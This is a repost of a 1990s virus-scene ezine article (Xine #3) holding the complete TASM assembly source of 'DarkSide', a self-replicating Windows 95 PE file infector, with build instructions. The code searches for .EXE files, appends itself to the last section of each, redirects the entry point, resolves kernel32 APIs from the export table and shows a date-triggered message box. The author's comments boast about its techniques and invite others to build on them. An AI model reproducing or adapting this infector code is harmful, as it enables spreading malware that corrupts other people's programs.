Copy Link
Add to Bookmark
Report

Xine - issue #3 - Phile 204

eZine's profile picture
Published in 
Xine
 · 7 months ago

 
/-----------------------------\
| Xine - issue #3 - Phile 204 |
\-----------------------------/


;
;
; DarkSide, by Murkry/IkX
;
;
; One of my earlier attempts at expanding the Last Section of a PE file
; after I heard about Jacky I had to try it out. this virus is buggy but
; it works on most PE files.
; Anyway it also shows how to use the host for free Data space and calling
; other DLL the KErnel32 (user32) for a MsgBox
;
;
; Since few people had heard of it I figure I could release it again in Xine3.
;
;
; DarkSide
;
; Designed and Built by
; MurKry
; For Turmoil ezine
; NonResident PE infector
; Non Directory Jumping
;
; Will infect all "normal" PE win95 exe files
; Normal being PE format and base image set to 400000h
; This limation would require just to find where the file was located
; memory, not the offset but the Base not a big deal but I am
; busy so it will stay this the next virus will include this feature
;
; Uses the unint'ed Data area of the first data section it finds
; but must have a minium of 600h bytes free
; this means it can infect a file that it can not jump from,
; due to the 600h limations
;
; Will display a Message box on March 9 bad day for me some years ago :)
;
; Use a simple GetProc routine to find the Address of several API calls
; including the CallVxd0 routine which is used to access the
; current date, why? why not. There are better but not easier ways
; Int21 lives on
; Well for those who have not played with the VxdCall0 int21
; not sure, if the API file read file write do this but I have written
; a routine using the fact that if you use the int 21 read\write file
; you can read the file into READ only area like 0BFF70000H or other
; READ only areas. If you do not see it yet this can enable a nonVXD way
; of going TSR in Win95!!! Anyway my routine just call BEEP but it was
; called whenever the CreatProccessA was called Sadly this was only called
; in my limited testing when I used a debugger, never when Win95 called the
; the API. So this could be made into a virus that only infect when debuggers
; or when a process Spawned another Process.
; Enough chatter enjoy :)
;
; Thanks to the Members of LT for letting this humble submision join there
; Zine.
; Thanks to Yosha for Bug testing for me :-)
; I am quite sure there are other bugs but hey this is still a new area for
; most of us ;)
;
; make below into a .Bat file to compile
; Due to a bug i left in this sometimes this will
; infect itself and then its dead (I have no marker in Generation One
; So I renamed it to a .com file so this will not happen
;
;
;-----------bat file to compile
;
; tasm32 /ml /m3 Dark,,;
; tlink32 /Tpe /aa /c Dark,Dark,, import32.lib
; del Dark.com
; ren Dark.exe Dark.com


.386
locals
jumps
.model flat ,stdcall

;----------------------------------------
;define the API calls that the host makes
extrn ExitProcess:PROC
extrn Beep:PROC
;----------------------------------------
;----------------------------------------
Viruslen equ (EndViri - offset HOST )

K32 equ 0BFF70000H ;LOCATION OF THE KERNEL32
;MODULE FOR WIN95
;----------------------------------------

;BELOW IS THE DATA AREA EQU FOR THE VIRUS
;ESI SHOULD POINT TO A START OF A MIN OF 600K R/W DATA AREA (I HOPE :> )
OrginIP equ 00h ;store the orginal ip here
XXXX equ 04h

Counter equ 08h ;used as a counter
SrchHdle equ 0Ch ;Srch handle for the
FleHdle equ 010h ;File handle
Vsize equ 014h ;holds the VirtualSize of the virus
PElocation equ 018h ; where PE header start
LocOfOldIP equ 01Ch ;where we will place the old ip
OldIP equ 020h ;Area to hold it b4 we write it
NewIP equ 024h ;NewIP

VxDCall equ 028h ;BFF713D4
Create equ 02Ch ;BFF77817
Close equ 030h ;BFF980CF
Read equ 034h ;BFF75806
FFirst equ 038h ;BFF77893
FNext equ 03Ch ;BFF778CB
Write equ 040h ;BFF7580D
Seek equ 044H ;BFFC16F8
GetMod equ 048h ; lloadBFF77433
GetProc equ 04Ch ;BFF76C18

AddFunc equ 050h
AddName equ 054h
AddOrd Equ 058h
baseF Equ 05Ch
Export Equ 060h
Nindex equ 064h
limit equ 068h
MessBox equ 06Ch
ExeFile equ 070h ;'*.EXE,0 ;2a2e4558 45 00 00 00
Readin equ 078h ;#bytes read by the file read
filler equ 07ch
;left open for other things ;)

SRCH EQU 0C0H ;length 139h I think ;)

;should end around 1a1h
;Used to read the header of the PE file 400h (1024) gives enough
;room for most PE files

BUFFER equ 200H ;buffer for read write area
; this leaves 400h free
; or 1024D for us decimal users
;---------------------------------------------------------------------
;---------------------------------------------------------------------
; not used
.data ;the data area
storage dd 4 dup(0)
;---------------------------------------------------------------------
;---------------------------------------------------------------------


.code ;executable code starts here

HOST:
pushad ;store everthing
push eax ;the IP of the virus


;here we are modifing the store EAX in the stack so we can
;use it as a jump to return the host later
;warning this will crash horrible in a non Win95 setup
; I suspect it is not true in other
; OS (NT) that
; eax = the entry point on start up or that the program is loaded at
;400000h
; On infect the virii checks if the image base is 400000
; so the virus should be ok --I hope


mov edx,offset oldip - offset HOST
add edx,eax ;
mov eax,[edx]
add eax,0400000h
mov [esp + 20h],eax ;fix the eax be 4 so we can return
; to the host

CALL GetDataSpace ;just checks for some empty
;space note the routine will
; fail if the image base is no
;00400000 if esi = 0 then it
; failed

OR ESI,ESI ;check if we found enough memory
JZ NotWinPopx ;for us to play with

pop dword ptr [esi + OrginIP] ;store the start point
;here eax in win95 = EIP
push esi
pop ebp ; stores are data here
;

CAll GetAddress ;we assume all is ok
jmp GotAddress ; here

;====================================================================
;these are all the items the virus will import
; and the dll other than kernel 32

CR db 'CreateFileA',0
Clo db '_lclose',0
RF db 'ReadFile',0
FF db 'FindFirstFileA',0
FN db 'FindNextFileA',0
WF db 'WriteFile',0
SK db 'SetFilePointer',0
GM db 'LoadLibraryA',0 ;'GetModuleHandleA',0
GetPr db 'GetProcAddress',0
User db 'USER32',0
Messb db 'MessageBoxA',0

;====================================================================

GotAddress:
OR ESI,ESI ;check if we had a problem
JnZ Win95

NotWinPopx:
pop eax
NotWin95:

jmp fini ;alldone leave the rest to the host

;-----------------------------------------------------------------
Win95:

call CheckDate ;uses the VxDcall to checkthe
;date
cmp eax,1
jne NotToday ;no display today

call MessShow ;display
cmp eax,6 ;hey they agree user pressed yes
je fini ;so give them a break
;so on this date we might not infect
; if the user agrees :)
NotToday:

;ok now just do a typical find first find next to infect something

call GetFile ;find file
jmp FileFirst1

TryTryAgain:
call GetNextF

FileFirst1:
cmp eax,0
je NoFile

call CheckFile ;check is pe and
;and if so returns with
;loation of PE header
cmp eax,0

jne fileok

call FileClose ;was not good
jmp TryTryAgain ;get out

fileok:

call InfectIt ;well is file was ok try to infect


cmp eax,0
je TryTryAgain

CloseFile:
Call FileClose
NoFile:

fini:

popad ;
jmp eax ;

;-------------------------------------------------------------
;if we reach here we know the file is open
;its a PE non infected
;murk
; 1 check if the last header is in our buffer and that the last
; header is the end of the file should always be but ya never know ;)
; 2 Write ourselves to the end of the file
; 3 update the Header for our size and the flags should be 'or' with
; with the code\exec flags so it can run
; 4 Update the rva for the entry point should be able to use the old
; Vsize + VAddress = new Entry point
; update the Size of code field in the PE
;
;
InfectIt:

mov eax,[ ebp + SRCH + 20h] ;size of the exe
Call FileSeek

;ok we are at the end of the file
;now write ourselve there
;but we need to keep the file alignment nonsense so
;some calculations first

;lets get the oldIP

mov esi,[ebp + PElocation] ;esi holds the PE start

mov eax,[ESI + 28h] ;eip RVA
MOV [EBP + OldIP],eax


mov eax, Viruslen - 1
mov ecx, [esi + 3ch] ;file align is 3ch

add eax,ecx ;
xor edx,edx
div ecx
mul ecx

push eax ;this is how much we are
;writing with the buffer
pop ecx
mov dword ptr[ebp + Vsize],ecx

add dword ptr[esi + 50h], ecx ;fix the image size

;ok write the virus out to the file
mov ecx, Viruslen
mov edx,dword ptr [ebp + OrginIP] ;get what we are writing
call FileWrite ;write this to the end

;now write the oldip out to the file
mov ecx,8 ;we want to write the
mov edx,ebp ;old ip at the end of the
add edx,OldIP ;virus
call FileWrite ;

;write the padding out to the file to bring it up to specs for the
; file alignment
mov edx,400400h ;some random bytes to flesh
mov ecx,dword ptr[ebp + Vsize] ;it out
sub ecx,Viruslen + 8
call FileWrite

;ok we need to fix the PE header and Section Header now
;first get last section header
;section hdr size = 28h
;pe size = f8h
mov ax, word ptr [esi + 6]
cwde

dec eax
mov ecx,028h

mul ecx
add eax,0f8h

push esi
pop edi ;points to the header
add esi,eax ;esi = last section header
;which the virus should be in

cmp eax,3d8h
jg errorInfect

;first set new eip Vaddress + VsizeRawData
;eip
;ptr to raw data

mov eax,[ ebp + SRCH + 20h] ;size of the exe

mov ecx, [edi + 3ch] ;file align is 3ch

xor edx,edx
div ecx


PUSH EDX ;SAVES THE ODD PART OF THE FILE

push eax

mov eax,[esi + 14h] ; ptr to raw data
div ecx


pop ebx
sub ebx,eax
push ebx

mov eax,[esi + 10h] ;size of raw data
dec eax ;
add eax,ecx ;
div ecx ;
push eax

pop ebx ;size of section
pop eax ;left over from file

sub eax,ebx ;padding at end of file
mul ecx

POP EBX ;ADD THE DIFFRENCE TO THE FILE
ADD EAX,EBX

mov [ebp +filler],eax
add dword ptr[edi + 50h], eax ;fix image size

mov eax,[esi + 0ch]
add eax,[esi + 10h] ;Size of raw data
add eax,[ebp +filler]

mov [edi + 28h],eax ;sets up the eip

mov eax,[ebp + Vsize]
add eax,[ebp +filler]

add [esi + 8h],eax ;fix Vsize
add [esi + 10h],eax ;fix size raw data

or [esi + 24h],20000020h
mov ax,'TL'
mov word ptr [ebp + BUFFER + 12h],ax

xor eax,eax ;move pointer start of file
Call FileSeek ;to update header



mov ecx,400h ;we want to write the
mov edx,ebp ;old ip at the end of the
add edx,BUFFER ;virus
call FileWrite ;




ret

errorInfect:
xor eax,eax
ret

;---------------------------------------------------------------------------
;eax = the distance from the start end existing
; we want to move pointer

FileSeek:
push LARGE 0 ;from where do we seek

push LARGE 0 ;high dword of where we search to

push eax ;low dword

push dword ptr [ebp + FleHdle]
call dword ptr [EBP + Seek]
ret

;-------------------------------------------------------------------
FileClose:
push DWORD PTR [ebp + FleHdle]
CALL DWORD PTR [EBP + Close]
ret
;-------------------------------------------------------------------
; Pass in ecx amount we want to read
; edx where to write it too
;
FileWrite:
push LARGE 0 ;needed to set to null (0)
;for our needs

LEA eax,[ebp + Readin] ;this will hold how many
push eax ;bytes actualy written

push ecx ;how many bytes

push edx ;buffer to read data from

push dword ptr [ebp + FleHdle] ;file handle
call dword ptr [ebp + Write] ;call the Read api

;if no prob then eax = true 1
;else set to 0 for false
or eax,eax ;set z if problem
ret ;
;-------------------------------------------------------------------



;-------------------------------------------------------------
;CheckFile routine will open file
;get pe header location and check if already infected
;returns 0 if problem
;
CheckFile:
Call OpenIt
cmp eax,-1 ;if -1 no good
je ChError
; ok file is open handle is saved in FleHdle
; now the viruses needs to read in 1k if the file
; check for PE and infection set the MZ checksum to
; LT for the Turmoil Zine

mov ecx,400h ;buffer size
lea edx,[ebp + BUFFER]
Call ReadFile
jz ChError

;file header is now in virus BUFFER
;check for MZ
mov eax,[ebp + BUFFER]
cmp ax,'ZM'
jne ChError

;ok check for PE
mov ax,[ebp + BUFFER + 3ch]
cwde
add eax,BUFFER
add eax,ebp
mov [ebp + PElocation],eax
push eax
pop esi
mov eax,dword ptr [esi]
cmp eax,'EP'
jne ChError

;oops almost forgot check for LT
mov ax,word ptr[ebp + BUFFER + 12h]
cmp ax,'TL'
je ChError

;check for files that do not start at
; 400000h
;
mov eax,dword ptr[esi + 34h] ;IMAGE BASE
CMP EAX,400000H
jne ChError

inc ax ;make sure eax != 0
ret

ChError:
xor eax,eax
Ret


;--------------------------------------------------------------------------
ReadFile:
; Pass in ecx amount we want to read
; edx where to write it too
;


push LARGE 0 ;useless to virii

lea eax,[ebp + Readin] ;howmany bytes read in
push eax

push ecx ;try to read this many bytes

push edx ;to here

push dword ptr [ebp + FleHdle] ; this file handle

call dword ptr [ebp + Read] ;call the api

or eax,eax ;if problem set z
ret

;------------------------------------------------------------------------



;--------------------------------------------------------------------------
OpenIt:
;tries to open the file if it can the eax = the handle
; otherwise eax = -1 (ffffffff )
;thats all it does
;

xor eax,eax

push eax

push eax

push 00000003 ;existing file

PUSH eax
push eax

push 0c0000000h ;R/W

lea eax,[ebp+ SRCH + 02ch] ;location of file name
push eax ;in the win95 finddata
;structure
call dword ptr[ebp + Create]

mov [ebp + FleHdle],eax ;save the handle
ret

;-------------------------------------------------------------------



;-------------------------------------------------------------
;try to find the file usning FindFile and FindNext
;
GetFile:
lea eax,[ebp + SRCH] ;the find data area
push eax ;

lea edi,[ebp + ExeFile ]
push edi ;push the location of
mov al,'*' ;exe file mask
cmpsb ;
je gotexe ;this should never get run
;again but ya never know
;below is a nice way to waste time and it also puts *.EXE0 into the
;correct location in out data block
dec edi ;after the cmpbs
call o1
o1: pop eax
sub eax, offset o1 - offset GetFile
push eax
pop esi
lodsd ;exe file mask
add eax,5784a89dh ;now make the bytes at
stosd ;at o1 = to '*.EXE'0
lodsd
sub eax,0e84fffbbh
stosd
gotexe:
call dword ptr [ebp + FFirst]
mov [ebp + SrchHdle],eax

cmp eax,-1
jne GotOneF

xor eax,eax
;no file found set eax to 0

GotOneF:
ret

GetNextF:
inc dword ptr [EBP + Counter] ; check how many we did

lea eax,[ebp + SRCH] ;the find data area
push eax ;

mov eax,[ebp + SrchHdle]
push eax

call dword ptr [ebp + FNext]

;if returns with 0 then no more files
;other wise it found one
jmp GotOneF

;-------------------------------------------------------------

CheckDate:
;for the hell of it use int 21 to do this

mov eax,00002a00h
call INT_21
xor eax,eax

cmp dh,03 ;march
jne CDRET ;
cmp dl,09 ;ninth
jne CDRET ;
inc eax

CDRET:
ret
;-------------------------------------------------------------
INT_21:
push ecx
push eax
push 002a0010h

call dword ptr [ebp + VxDCall]

RET

;vxd0 dd 0bff713d4h ;this is the addresss for the
;vxdcall0
;get_21 dd 002a0010h ;this is the 2a = Vwin32 10 = the int21
;routine

;------------------------------------------------------------------------------


NameD db ' DarkSide',0

Warning db ' Nothing Going to ', 0Dh
db ' Save you From a Love', 0Dh
db " that's Blind", 0dh

db ' Slip to the', 0Dh
db ' DarkSide', 0Dh
db ' and Cross that Line',0Dh,0Dh

db ' March 9, 1986',0

MessShow:

mov eax,1024h ;gives me a question mark
;2 yes/no buttons
;and in front
push eax

mov eax,offset NameD - offset HOST
add eax,[ebp + OrginIP]
push eax

add eax, offset Warning - offset NameD
push eax

xor eax,eax
push eax

call dword ptr [MessBox +ebp]
;note that eax will equal 6 for yes, 7 for no
ret

;-------------------------------------------------------------------------------
; onreturn will have
; ESI = the start of a 4k area of r\w data that the virus can use
; eax = the data location to use

GetDataSpace:

mov eax,00004550H ;check for PE00
mov edi, 00400000h
repne scasd ;
jne NotWin95A

xchg edi,esi

lodsw ; ok we are at header + 4
; now we are at 6
lodsw ; ax = the number of sections
;peheader + 8

xor ecx,ecx ;get the number of sections
mov ecx,eax ;

add esi,0f8h - 8 ;get to the section header
;

;esi points to the first section header

TryNext:
cmp ecx,0
jz NotWin95A

mov eax,[esi + 24h] ;flags
and eax,0c0000000h
cmp eax,0c0000000h
jne NextOne1

mov eax,[esi + 8h] ;virtual size
xor edx,edx

mov ebx,4095
add eax,ebx
inc ebx
div ebx
mul ebx

sub eax,[esi + 10h] ;size of raw data
cmp eax,600h
jge OkSpace


NextOne1:
add esi,28h
loop TryNext
jmp NotWin95A

OkSpace:
mov eax,[esi + 0ch] ;virtual address
add eax,[esi + 10h] ;size of raw data
add eax,00400000h
push eax
pop esi
ret

NotWin95A:
xor esi,esi
ret


;end of GetDataSpace
;-----------------------------------------------------------
;-----------------------------------------------------------
;returns with the VxDcall fill with the correct location
;or again esi = 0 if failed
;
;

GetAddress:

XOR EAX,EAX
MOV ESI,K32 + 3CH ;points to the New Header
LODSW

;ESI = THE PE HEADER START of the Kernel32

ADD EAX,K32
CMP DWORD PTR [EAX],00004550H ;check for PE00
JE NoERROR

ERROR: JMP NotWin95A

;ESI SHOULD HOLD THE POINTER TO THE
;RVA TO THE EXPORT DIRECTORY

NoERROR:
MOV ESI,[EAX + 78H] ; 78H = THE EXPORT RVA
ADD ESI,K32
mov [ebp + Export],esi
add esi, 10H ;

LODSD ;

mov [ebp + baseF],eax ;base of the functions

lodsd ;Number of Functions

lodsd ;Number of Names
add eax,K32 ;this is to not go past the
mov [ebp + limit],eax ;end of the search routine


lodsd ;Address of Functions
add eax,K32
mov [ebp + AddFunc],eax ;
lodsd
add eax,K32
mov [ebp + AddName],eax ;Address of Names
lodsd
add eax,K32
mov [ebp + AddOrd],eax ;

mov esi,[ebp + AddFunc]
lodsd
add eax,K32
mov [ebp + VxDCall],eax ; get the first routine which is
; the VxDCall

;ok we ha ve everthing we need to go ahead and locate the address's of the
;KERNEL32.dll functions

mov ebx,offset GetPr - offset HOST ;gets the Routine we
add ebx,[ebp + OrginIP] ;are looking for


LookLoop:
mov esi,[ebp + AddName] ;get the first rva pointer to a name
mov [ebp + Nindex],esi ;index into the name array

mov edi,[esi] ;now make it a true pointer to the
add edi,K32 ;name by adding the offset

mov ecx,0 ;sets the counter to 0


TryAgain:
mov esi,ebx ;what function we are looking for
;now simple cmp strs
MatchByte:
cmpsb
jne NextOne ;not it try next nameof fucntion

cmp byte ptr [edi],0 ;if equal to 0 we found a match
je GotIt ;

jmp MatchByte ;nope try next byte

NextOne:
inc cx
cmp cx,[ebp + limit]
jge not_found

add dword ptr [ebp + Nindex],4 ;get the next pointer rva
mov esi,[ebp + Nindex] ;and try again
mov edi,[esi] ;
add edi,K32 ;
jmp TryAgain ;

;---------------------------------------------------------------------
GotIt:
;note if not a match is found the all other from then on in are blank
;in other words dont mispell ,or ask for for a function that is not in
; KERNEL32
;esi = the 0 at the end of the name of the strings given to us to look for
;
;cx = the index into the AddOrd
;take Nindex * 4 + [AddOrd] = Ordinal
;Ordinal * 4 + [AddFunc] should be the rva to the fuction

mov ebx,esi ;get set for next search routine
inc ebx ;

shl ecx,1 ;*2 looking into a word array
mov Esi,[ebp + AddOrd]
add Esi,ecx
xor eax,eax
mov ax,word ptr [esi]

;here ax equals the ordinal - the base
;if ordinal is passed to hear then we should be able to skip
;searching for a name and hit here
;not sure of course but it tested on a few that I tried
;

shl eax,2 ;*4 looking into a dword array
mov esi,[ebp + AddFunc]
add Esi,eax

mov Edi,dword ptr [esi]
add Edi,K32

mov [ebp + GetProc],edi

jmp over_error

Not95:
xor esi,esi ;if the header of the kernel
;is not there forget it, its not
; the Win95 we know and love ;)

not_found: ; String pass to us is not a
xor edi,edi ; valid fucntion name

over_error:
mov ebx,Create ;the data area
mov edi, offset CR - offset HOST ;name
add edi,[ebp + OrginIP]

loopfind:
push edi
push K32
call dword ptr [ebp + GetProc]

;inc eax
;mov edx,dword ptr[eax]
;mov [ebp + ebx],edx
mov [ebp + ebx],eax
add ebx, +4
cmp ebx, GetProc
je allDone

mov al,0
repne scasb
jmp loopfind
allDone:
;we might be lucky and have everthing we need now we get the
;message box api

nop
nop
nop

mov eax,offset User - offset HOST
add eax,[ebp + OrginIP]
push eax
call dword ptr [ebp + GetMod]

mov edi,offset Messb - offset HOST
add edi,[ebp + OrginIP]

push edi ;push the offset of theAPI we want
push eax ; push the handle

call dword ptr [ebp + GetProc]
MOV [EBP + MessBox],eax ;save it


getout:
ret

;YEA HARD CODED <SIGH>

;kern dd 0BFF70000h ;must add to all rva's





;---------------------------------------------------------------------
db 'DarKSide'
EndViri equ $
oldip dd offset fini1 - 400000h
DarkLen equ ( EndViri - offset HOST )
;

fini1:
xor eax,eax
push eax
push eax ;doesnt matter in 95 what this is
call Beep ;Test

push LARGE -1
;call dword ptr edi ;when I used the routine to locate
;the ExitProcess address
call ExitProcess ;this simply terminates the program

end HOST


← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT